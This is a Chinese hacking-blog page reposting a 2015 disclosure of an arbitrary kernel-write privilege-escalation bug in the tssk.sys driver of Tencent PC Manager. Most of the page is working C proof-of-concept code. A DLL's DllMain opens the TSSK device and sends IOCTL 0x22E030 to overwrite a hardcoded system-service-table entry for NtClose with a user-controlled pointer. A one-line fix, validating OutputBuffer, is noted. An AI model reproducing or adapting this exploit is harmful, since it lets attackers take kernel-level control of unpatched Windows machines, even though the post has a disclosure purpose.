记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

电脑管家tssk驱动任意内核地址写提权漏洞

2015-06-26 01:30

tssk.sys在DeviceIoControl的一处逻辑中,未判断outputBuffer的有效性,导致可以在任意内核地址写入用户传入的任意数据,调用者对数据完全可控,引发提权。

tssk.sys版本:2014.4.15.17IoControlCode=0x22E030的处理中,未判断outputBuffer的地址有效性和大小,永远会向outputBuffer拷贝4字节用户通过InputBuffer传入的数据。

 


void CallDriver(HANDLE hDev)
{
DWORD dwReturned = 0;
char input[0x1000] = { 0 };

PBYTE pBase = (PBYTE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(pBase, 0xcc, 10);
*((DWORD*)input) = (DWORD)pBase;
DeviceIoControl(hDev,
0x22E030,
(LPVOID)input,
0x2C,
(LPVOID)0x80502ce4,// KiServiceTable+0x64,NtClose的系统调用
0,
&dwReturned,
NULL);
}
void FuzzDriver()
{
LPCTSTR DevName = _T("\\.\TSSK");
HANDLE hDev = CreateFile(DevName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(-1 != hDev)
{
CallDriver(hDev);
CloseHandle(hDev);
}
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
FuzzDriver();
return TRUE;
}


漏洞利用后的效果:

解决方案:

增加对OutputBuffer的有效性验证。


知识来源: www.2cto.com/Article/201506/410685.html

阅读:133549 | 评论:0 | 标签:提权 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“电脑管家tssk驱动任意内核地址写提权漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云